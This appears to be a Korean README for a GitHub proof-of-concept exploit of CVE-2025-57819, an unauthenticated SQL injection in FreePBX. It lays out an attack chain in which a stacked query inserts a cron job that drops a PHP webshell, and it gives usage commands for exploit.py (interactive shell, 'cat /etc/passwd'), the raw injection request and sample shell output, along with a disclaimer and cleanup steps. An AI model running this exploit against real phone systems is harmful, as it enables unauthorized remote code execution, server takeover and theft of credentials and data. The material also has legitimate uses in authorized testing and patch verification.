
FreePBX 인증되지 않은 SQL 인젝션으로 인한 원격 코드 실행, FreePBX 15 (15.0.66 미만), 16 (16.0.89 미만), 17 (17.0.3 미만). 이 취약점은 상용 'endpoint' 모듈에 있으며, 사용자 입력 필터링이 불충분하여 인증되지 않은 공격자가 관리자 권한을 우회하고 SQL 인젝션을 실행하며, 최종적으로 원격 코드 실행을 달성할 수 있습니다.
CVE-2025-57819은 FreePBX의 치명적인 SQL 주입 취약점으로, 인증되지 않은 공격자가 SQL 주입과 크론 작업 주입을 연계하여 원격 코드 실행을 달성할 수 있게 합니다.
⚠️ 면책 조항: 이 저장소는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 이 익스플로잇을 무단 사용하는 것은 불법입니다. 작성자는 어떠한 오용 또는 손해에 대해 책임을 지지 않습니다.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2025-57819 |
| 영향받는 제품 | FreePBX (인증 전) |
| 취약점 유형 | SQL 주입 (스택드 쿼리) |
| 영향 | 원격 코드 실행 (RCE) |
| 공격 경로 | 네트워크 (HTTP GET) |
| 필요한 인증 | ❌ 없음 |
┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection │
│ POST /admin/ajax.php?brand= → stacked query │
│ INSERT INTO cron_jobs … │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron Job Injection │
│ Malicious cron job writes base64-decoded PHP webshell │
│ to /var/www/html/shell.php │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell Access │
│ GET /shell.php?cmd=<command> → arbitrary code execution │
└────────────────────────────────────────────────────────────────┘
/admin/ajax.php 엔드포인트는 brand 매개변수를 적절한 검증 없이 처리하여 스택드 SQL 쿼리를 허용합니다.INSERT INTO cron_jobs 문을 주입합니다.# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC
# Install dependency
pip install requests
# Basic usage
python exploit.py <target>
# Drop into interactive shell after injection
python exploit.py <target> --shell
# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
[--param PARAM] [--no-wait] [-v]
target
CVE-2025-57819 – FreePBX SQLi → Cron → WebShell
positional arguments:
target target hostname or IP (with optional scheme)
options:
-h, --help show this help message and exit
-p, --port PORT port (default: 80/443)
--shell drop into interactive shell after injection
--cmd CMD execute a single command via the webshell
--param PARAM webshell query-string parameter (default: cmd)
--no-wait skip the webshell-verification poll
-v, -vv increase verbosity (-v info, -vv debug)
# Target with default HTTP port
python exploit.py connected.htb
# Target with custom port
python exploit.py 10.10.11.100 -p 8080
# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell
# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"
# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"
# Verbose output for debugging
python exploit.py connected.htb -vv --shell
--shell을 사용하면 스크립트가 의사 터미널로 전환됩니다:
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.
exit(또는 Ctrl-C, Ctrl-D)를 입력하여 세션을 종료합니다.
수동 단계를 선호하는 경우, 익스플로잇은 세 가지 작업을 수행합니다:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
주입된 크론 작업(* * * * *)은 매분 실행되어 웹셸을 작성합니다.
GET /shell.php?cmd=id
테스트 후 웹셸과 크론 작업 항목을 제거하십시오:
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
그런 다음 파일시스템에서 /var/www/html/shell.php를 삭제하십시오.
/admin/ajax.php에 접근 가능한 시스템이 프로젝트는 교육 및 방어적 보안 연구 목적으로만 제공됩니다. 이 문서 상단의 면책 조항을 참조하십시오.